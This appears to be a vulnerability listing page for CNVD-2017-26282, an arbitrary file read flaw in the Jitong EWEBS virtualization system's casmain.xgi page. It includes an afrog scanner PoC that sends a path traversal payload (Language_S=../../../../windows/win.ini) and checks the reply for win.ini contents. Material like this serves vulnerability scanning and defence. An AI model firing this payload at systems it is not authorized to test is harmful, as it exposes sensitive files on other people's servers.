CNVD-2017-26282: 极通ewebs 应用虚拟化系统 任意文件读取

2025-08-01 极通ewebs应用虚拟化系统 PoC Public

Description

介绍: 极通EWEBS系统的casmain.xgi页面存在可控参数，导致攻击者可以访问任意系统文件，泄露的敏感信息。

PoC

id: CNVD-2017-26282

info:
  name: 极通ewebs 应用虚拟化系统 任意文件读取
  author: 陈麻子
  severity: high
  verified: true
  description: |
    介绍: 极通EWEBS系统的casmain.xgi页面存在可控参数，导致攻击者可以访问任意系统文件，泄露的敏感信息。
  tags: cnvd,cnvd2017,fileread,nsoft,jitong,ewebs
  created: 2020/09/11

rules:
  r0:
    request:
      method: POST
      path: /casmain.xgi
      body: Language_S=../../../../windows/win.ini
    expression: |
      (response.status == 200 || response.status == 206) &&
      response.body.ibcontains(b"[fonts]") &&
      response.body.ibcontains(b"[extensions]")
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2017/CNVD-2017-26282.yaml

References

Related Vulnerabilities